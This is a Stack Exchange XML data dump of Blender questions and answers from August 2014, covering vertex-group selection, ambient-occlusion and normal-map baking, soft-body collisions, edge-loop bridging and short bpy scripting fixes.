  <row Id="14963" PostTypeId="1" CreationDate="2014-08-12T23:11:36.190" Score="3" ViewCount="490" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide a cube and assign 4 faces to a vertex group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign the whole cube to another vertex group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the whole cube with a click on vertex group 2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to deselect the 4 faces with a click on vertex group 1,&#xA;but a lot more faces are deselected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5593" LastEditorUserId="599" LastEditDate="2014-08-12T23:52:15.387" LastActivityDate="2015-03-23T23:11:45.087" Title="Why are extra faces deselected when deselecting vertex groups?" Tags="&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14964" PostTypeId="2" ParentId="14963" CreationDate="2014-08-12T23:40:49.237" Score="2" Body="&lt;p&gt;This is because they are &lt;em&gt;vertex&lt;/em&gt; groups, not face groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deselecting a vertex group will deselect all the vertices in that group, which will also deselect any faces which those vertices where a part of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way: For a face to be selected, all the vertices which make up that face must also be selected. So by deselecting a single vertex in the subdivided cube example, you actually deselect four faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2EEnZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you deselect the vertices in your group manually, you'll get the same result as clicking the deselect button on the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want are &lt;em&gt;Face groups&lt;/em&gt;, however unfortunately there is no support for these yet. There is &lt;a href=&quot;http://wiki.blender.org/index.php/Face/Edge_groups_proposal&quot; rel=&quot;nofollow noreferrer&quot;&gt;a proposal&lt;/a&gt; though.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-12T23:47:38.940" LastActivityDate="2014-08-12T23:47:38.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14965" PostTypeId="1" CreationDate="2014-08-13T02:37:21.550" Score="1" ViewCount="1093" Body="&lt;p&gt;How can I troubleshoot cycles baking effectively, what am I missing that leads to such unusable results? &#xA;I tried many variations with the mesh itself before switching over to blender render for a moment and baking there to see if the model was the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Render AO bake&#xA;&lt;img src=&quot;https://i.imgur.com/KXZByd3.png&quot; alt=&quot;AO map baked in blender render:&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results were far far better even discounting the black spots that are always present (in the same places) in cycles renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Baking AO in cycles for previous models has also resulted in &lt;strong&gt;consistent&lt;/strong&gt; black spots, seemingly unrelated to model geometry, they can happen in the middle of huge empty faces, or right next to vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles Render AO bake&#xA;&lt;img src=&quot;https://i.imgur.com/PahkUzf.png&quot; alt=&quot;AO map baked in cycles:&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also experiencing some trouble with baking Diffuse Color. &#xA;This example was baked at 1024x1024, increasing the resolution leads to more and more drastic tearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles Render Diffuse Color bake with tearing&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/e6rDnVC.png&quot; alt=&quot;Tearing (in diffuse color baking):&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/file/d/0BzihPhAWvlgOTDdWUjRJZkVvYlU&quot; rel=&quot;nofollow noreferrer&quot;&gt;example blend file&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5595" LastEditorUserId="2217" LastEditDate="2014-10-16T15:40:40.270" LastActivityDate="2014-10-16T15:40:40.270" Title="How to improve ambient occlusion in cycles, and reduce pixelation/tearing" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-10-28T22:10:05.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="14966" PostTypeId="1" CreationDate="2014-08-13T02:38:51.727" Score="2" ViewCount="1886" Body="&lt;p&gt;Hello potential informants!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're setting up a soft-body simulation that involves solid mesh objects (i.e. has internal nodes and edges). We just want to stick with the spring-mass system, and not convolute the physics with the shape-matching technique (i.e. &quot;Soft Body Goal&quot;). We're aiming for physically realistic, and want to use this for a psycho-physical experiment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the attached code, I set up a scene that has a soft-body slab supported on either end by passive supports. A cube is initiated directly over the slab. When I make the cube a rigid body, instead of a soft body, it passes right through the slab. When I make it a soft-body, the collisions are strange and non-physical. I've played with all the parameters I can think of, and still haven't been able to achieve a realistic simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm trying to do possible in Blender? Am I going about it the wrong way? I get all kinds of strange interactions as a result of the meshes I've created. E.g., if you let a rigid cube drop straight through the slab, when it hits the ground it jumps strangely, as if being acted on at a distance. If you keep the cube as a soft-body, it sticks to the slab, and then they both start floating upward together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to all you gurus out there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: &lt;a href=&quot;http://www.pasteall.org/53426/python&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/53426/python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5597" LastEditorUserId="599" LastEditDate="2014-08-13T07:21:55.537" LastActivityDate="2017-10-15T23:48:22.183" Title="Why soft body collisions acting strange?" Tags="&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14967" PostTypeId="2" ParentId="14198" CreationDate="2014-08-13T02:52:20.167" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I can only connect the node immediately to the surface otherwise i&#xA;  don't get any AO effect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's a shader, you can combine it with other shades before reaching your material output using a Mix Shader just like you would a Diffuse Shader.&lt;/p&gt;&#xA;" OwnerUserId="5595" LastActivityDate="2014-08-13T02:52:20.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14968" PostTypeId="2" ParentId="14885" CreationDate="2014-08-13T07:05:12.740" Score="3" Body="&lt;p&gt;An alternative approach would be to make the portion you wish to modify a separate object, at least temporarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, if the cloak is not connected to the rest you can simply select one vertex and press L.   Press P and choose by selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the cloak is connected you can also Press P and choose separate by Material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then modify the parted object with ANY modifier as you like, and if you wish, apply the modifier and Join (Ctrl+J)&lt;/p&gt;&#xA;" OwnerUserId="5595" LastActivityDate="2014-08-13T07:05:12.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14969" PostTypeId="1" AcceptedAnswerId="14970" CreationDate="2014-08-13T07:09:40.920" Score="16" ViewCount="68624" Body="&lt;p&gt;I'm trying to fill empty space in my mesh, and I looked at the knife tool page on the Blender Wiki, and I'm not sure if there's a way to make it so that a new edge is made using the knife tool. I took a screenshot, and hopefully it'll explain better than I can of what I'm trying to do. Oh and I'm using Blender version 2.71, by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oIK5j.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5599" LastEditorUserId="55" LastEditDate="2015-06-03T14:03:11.287" LastActivityDate="2020-06-05T11:46:45.317" Title="How to connect faces between 2 edge loops?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;knife-tool&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14970" PostTypeId="2" ParentId="14969" CreationDate="2014-08-13T07:11:32.747" Score="37" Body="&lt;p&gt;In your particular situation, it looks like the bridge tool is what you want. Select two or more edge loops with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;, and then connect them with &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt;Bridge Edge Loops&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oRvnL.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Fill&lt;/h1&gt;&#xA;&lt;p&gt;To do exactly what it looks like you are trying to do in your screenshot (connecting two vertices with an edge), select the two vertices and press &lt;kbd&gt;F&lt;/kbd&gt; to create edge/face.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UiugV.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you have the bundled &lt;a href=&quot;https://docs.blender.org/manual/en/2.81/addons/mesh/f2.html#f2&quot; rel=&quot;noreferrer&quot;&gt;F2 addon&lt;/a&gt; enabled you can create a new face from the selected edge and the surrounding vertices by pressing &lt;kbd&gt;F&lt;/kbd&gt; again. The side on which the new face is created is controlled by the cursor position.&lt;/p&gt;&#xA;&lt;h1&gt;Knife&lt;/h1&gt;&#xA;&lt;p&gt;The knife tool is for cutting edges into existing faces:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xtkPh.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-02-12T20:05:40.020" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="14971" PostTypeId="1" AcceptedAnswerId="14972" CreationDate="2014-08-13T07:45:01.657" Score="9" ViewCount="19743" Body="&lt;p&gt;I have a small problem with my blender lately. I want to make some compositing with my compositing nodes but the problem is, blender won't show me the preview Image. I have a Screenshot for you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B5ygM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preview Image itself is enabled, but it just won't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorDisplayName="user1853" LastEditDate="2014-08-13T08:03:59.223" LastActivityDate="2014-08-13T15:25:19.523" Title="Blender Nodes in Editor doesn't show preview Image" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2014-08-13T15:24:55.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="14972" PostTypeId="2" ParentId="14971" CreationDate="2014-08-13T08:00:47.030" Score="10" Body="&lt;p&gt;You need to render the scene before anything shows on the compositor. Hit&lt;kbd&gt;F12&lt;/kbd&gt; or press &lt;strong&gt;Render&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lkCo6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have the &lt;strong&gt;Viewer Node&lt;/strong&gt;'s image as background behind the node tree you need to enable the backdrop button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DwHco.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you press &lt;kbd&gt;N&lt;/kbd&gt; on the Node Editor's window  you'll see Controls for size and placement of the backdrop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mlcKU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can zoom in and out by pressing &lt;kbd&gt;V&lt;/kbd&gt; or &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also choose to see the &lt;strong&gt;Composite Node&lt;/strong&gt; or &lt;strong&gt;Viewer Node&lt;/strong&gt; in a &lt;strong&gt;UV/Image Editor&lt;/strong&gt; window.&#xA;Selecting &lt;strong&gt;Render Result&lt;/strong&gt; will display the &lt;strong&gt;Composite Node&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DYGCs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-13T15:25:19.523" LastActivityDate="2014-08-13T15:25:19.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14973" PostTypeId="2" ParentId="14948" CreationDate="2014-08-13T08:42:21.627" Score="1" Body="&lt;p&gt;Found a WM hack based on &lt;a href=&quot;https://blender.stackexchange.com/questions/3619/how-to-cut-a-mesh-into-smaller-pieces-with-python/3623#3623&quot;&gt;this answer&lt;/a&gt; that seems to work. Some operators still complain about &quot;PyContext 'blend_data' not found&quot;, but this doesn't seem to result in problems so far. Still feels a bit hacky though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def fix_context():&#xA;    &quot;&quot;&quot;Fix bpy.context if some command (like .blend import) changed/emptied it&quot;&quot;&quot;&#xA;    for window in bpy.context.window_manager.windows:&#xA;        screen = window.screen&#xA;        for area in screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                for region in area.regions:&#xA;                    if region.type == 'WINDOW':&#xA;                        override = {'window': window, 'screen': screen, 'area': area, 'region': region}&#xA;                        bpy.ops.screen.screen_full_area(override)&#xA;                        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: this works (with --background) but only if there's running an X server for the current user. Feels like there's some gui hacking going around when Blender python scripts are running background... Running on an X-less server gives a segfault.&lt;/p&gt;&#xA;" OwnerUserId="5586" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-08-27T10:07:32.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14974" PostTypeId="1" AcceptedAnswerId="14981" CreationDate="2014-08-13T11:24:51.730" Score="3" ViewCount="204" Body="&lt;p&gt;I have a grid mesh on the floor and want to UV map it to an image of 2x2 tiles.&#xA;I remember that there was an option which allows it to map all quads over another, but I no longer know what the name of the menu items was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZRLAC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between the tiles are joints (in case this makes a difference), detail view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7aS6J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2014-08-13T19:21:16.177" LastActivityDate="2014-08-13T19:21:16.177" Title="How can a grid mesh be unwrapped to overlayed quads?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14975" PostTypeId="1" AcceptedAnswerId="14980" CreationDate="2014-08-13T12:14:42.690" Score="3" ViewCount="31585" Body="&lt;p&gt;I modeled a high poly gun and uv unwrapped it. I then duplicated the object and removed a whole lot of edge loops to make it lower poly (3500 tris for the high poly gun to 350 tris for the low poly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how do I bake the normal map? I am in the blender render and have &quot;selected to active&quot; checked and the baked normals come out all strange with holes in some faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it might be because the uv unwrap for the low poly is different than for the high poly maybe? Any tips on how to correct this? The UVs and normals is the last thing I need to figure out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Km6rO.png&quot; alt=&quot;normal map&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/usHJ2.jpg&quot; alt=&quot;high poly uv&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MBN62.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folloed the guidelines and BAM these are my results: Normal Map and the loweres object with the normal texture node attached to the displacement output rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Noy3u.png&quot; alt=&quot;fixed normal&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jQlmJ.png&quot; alt=&quot;render with normal map applied&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="3028" LastEditDate="2014-08-14T13:12:13.040" LastActivityDate="2014-11-05T23:08:59.437" Title="Baking normals from high to low poly mesh for game object" Tags="&lt;uv&gt;&lt;normals&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14976" PostTypeId="1" CreationDate="2014-08-13T12:47:39.067" Score="5" ViewCount="1094" Body="&lt;p&gt;I'm trying to save an image to a path which the user can choose, but I always get the error-message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;line 64, in execute&#xA;    image.save_render(path+&quot;output/Image0&quot;+str(counter)+&quot;.png&quot;, scene)&#xA;    RuntimeError: Error: Could not write image '//../../../testOut/output/Image00.png'&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's how the var path is set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = bpy.props.StringProperty(default=&quot;/&quot;, subtype=&quot;FILE_PATH&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = self.path&#xA;&#xA;scene.render.image_settings.file_format='PNG'&#xA;image.save_render(path+&quot;output/Image0&quot;+str(counter)+&quot;.png&quot;, scene)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5602" LastEditorUserId="2217" LastEditDate="2014-09-13T01:18:49.097" LastActivityDate="2014-09-13T01:18:49.097" Title="saving image from Blender to a specific path" Tags="&lt;python&gt;&lt;scripting&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14978" PostTypeId="2" ParentId="14976" CreationDate="2014-08-13T13:10:05.343" Score="7" Body="&lt;p&gt;&lt;code&gt;image.save_render()&lt;/code&gt; cannot use relative paths, which are returned by default by &quot;FILE_PATH&quot; StringProperties. To convert the path to absolute, you can simply do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = bpy.path.abspath(self.path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-08-13T13:10:05.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14979" PostTypeId="2" ParentId="14935" CreationDate="2014-08-13T14:20:48.973" Score="1" Body="&lt;p&gt;As a child we are taught to colour-in and always stay within the lines. With uv textures the opposite is the best option. When a texture colour stops right at the edge of the uv layout it can sometimes get the colour from the other side of the line which can leave a small line at the edge of the face on your model. When using a subdivide smooth method this small line can be expanded, which is what you are seeing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to bleed the texture over the edges so that you don't get the white background onto your model. Usually two or three pixels over is enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you appear to be using an existing image for the texture you may want to move the uv's away from the edge a little so the face edges aren't right next to the white.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-13T14:20:48.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14980" PostTypeId="2" ParentId="14975" CreationDate="2014-08-13T14:59:34.653" Score="10" Body="&lt;p&gt;It's not actually required that you unwrap the high poly mesh for this operation to work, only that the two meshes be in the same location when you do the baking. Development of aberrations around corners is a common problem with normal maps. Cycles allows baking now and has a cage function that may help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take your low poly model and make a duplicate of it. This is going to be the cage object. Using Atl+S increase the size of the cage object to be slightly larger than the target object. You may have to do a little tweaking to the cage to ensure that it has an even surface around your target object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to Cycles Render and create a new material for the target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new image to act as the normal image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the node editor go to the material for the target object and create an image texture node and load the normal image you just created into the node. The node does not have to be connected to anything it just has to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Render tab in the properties window, go down to Bake, select Normal in Bake Type, set Space to Tangent, check Selected to Active and Cage, and select the cage object in the object selection window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the hi-res source object followed by the lo-res target object and click on the Bake button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all goes well you should get a much different result than the one you're getting now.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-08-13T14:59:34.653" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14981" PostTypeId="2" ParentId="14974" CreationDate="2014-08-13T15:35:33.260" Score="2" Body="&lt;p&gt;Starting with an unwrapped grid (without the joints), press &lt;kbd&gt;U&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt; to bring up the unwrap popup and chose &lt;em&gt;Reset&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KsfuO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After scaling down all UVs to the size of a single tile they can be distributed by repeated &lt;em&gt;Random Deselect&lt;/em&gt; from the &lt;em&gt;Select Menu&lt;/em&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CncPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-13T15:35:33.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14982" PostTypeId="1" AcceptedAnswerId="14983" CreationDate="2014-08-13T16:02:29.217" Score="2" ViewCount="271" Body="&lt;p&gt;I'm trying to model a simple sofa in blender but after I applied subdivision surface modifier i got that nasty gap. On the other side it looks good.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lNb7k.jpg&quot; alt=&quot;blender image 1&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZG2B5.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;here ^ is how it looks in edit mode, there are not two objects but one so moving the small part in won't do.&lt;/p&gt;&#xA;&lt;p&gt;PS: no need for elaborate stuff since I'm using it only as a prop, it was not intended to be a high quality object in the first place, so any solutions will do (even if it's not 'by the book'). Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5603" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-13T18:37:07.953" Title="How to get rid of imperfections after applying subsurf?" Tags="&lt;modifiers&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14983" PostTypeId="2" ParentId="14982" CreationDate="2014-08-13T16:12:58.917" Score="3" Body="&lt;p&gt;I managed to solve it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted the vertical edge loop (&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt;) then &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&amp;rarr; Edge Loop&lt;/em&gt;&lt;br&gt;&#xA;Then &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; to make another vertical loop cut and I was more careful not to slide it as far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bzb61.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks in the edit mode with the new edge loop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOTjz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's the right thing to do but it worked for me!&lt;/p&gt;&#xA;" OwnerUserId="5603" LastEditorUserId="599" LastEditDate="2014-08-13T18:37:07.953" LastActivityDate="2014-08-13T18:37:07.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14985" PostTypeId="1" CreationDate="2014-08-13T17:03:40.403" Score="0" ViewCount="581" Body="&lt;p&gt;How can I extract a Digital Elevation Model from a 3D model of a building, made with SketchUp, using Blender or any other software?&lt;/p&gt;&#xA;" OwnerUserId="5579" LastEditorUserId="3078" LastEditDate="2014-08-13T19:12:27.060" LastActivityDate="2014-08-13T19:12:27.060" Title="How to extract DEM (Digital Elevation Model) from 3D model" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14986" PostTypeId="1" CreationDate="2014-08-13T17:19:16.847" Score="1" ViewCount="649" Body="&lt;p&gt;I have made an action animation with an IK rig. The mesh has a mirror, subsurf, and armature modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I began making my character walk by using a keyboard sensor connected to an and brick connected to a motion and an action brick. I set the action to my walking animation and set the start to 0 and the end to 80 on play (I wanted to test it before I looped it) but when I pressed &lt;kbd&gt;P&lt;/kbd&gt; and then &lt;kbd&gt;W&lt;/kbd&gt; for my walking the character moved but the animation did not play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.mediafire.com/?xymd4f1j154n5e3&quot; rel=&quot;nofollow&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5605" LastEditorUserId="599" LastEditDate="2014-08-13T18:34:12.750" LastActivityDate="2014-09-15T20:22:15.030" Title="Blender game character is not responding to game logic" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14987" PostTypeId="1" AcceptedAnswerId="14991" CreationDate="2014-08-13T17:48:39.047" Score="2" ViewCount="1051" Body="&lt;p&gt;Is it possible to split a .blend file, e.g when a scene has grown and exceeded a manageable number of objects? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to save some groups into a new .blend, texture the objects in the newly created file and link to the original scene. Probably I could export object to Collada and re-import them to a new .blend. Is there a native way that I've overlooked?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2014-08-15T17:19:21.187" LastActivityDate="2014-08-15T17:19:21.187" Title="Is it possible to split a .blend file?" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14988" PostTypeId="2" ParentId="14960" CreationDate="2014-08-13T18:18:22.767" Score="1" Body="&lt;p&gt;You can disable the edge splitting behavior of cell fracture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kt3Zj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you don't want to re-fracture your object, you could join all the objects and then remove doubles. This way the split edges should be re-joined, and separate by loose parts should result in the same objects as before the join.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-13T21:38:08.593" LastActivityDate="2014-08-13T21:38:08.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
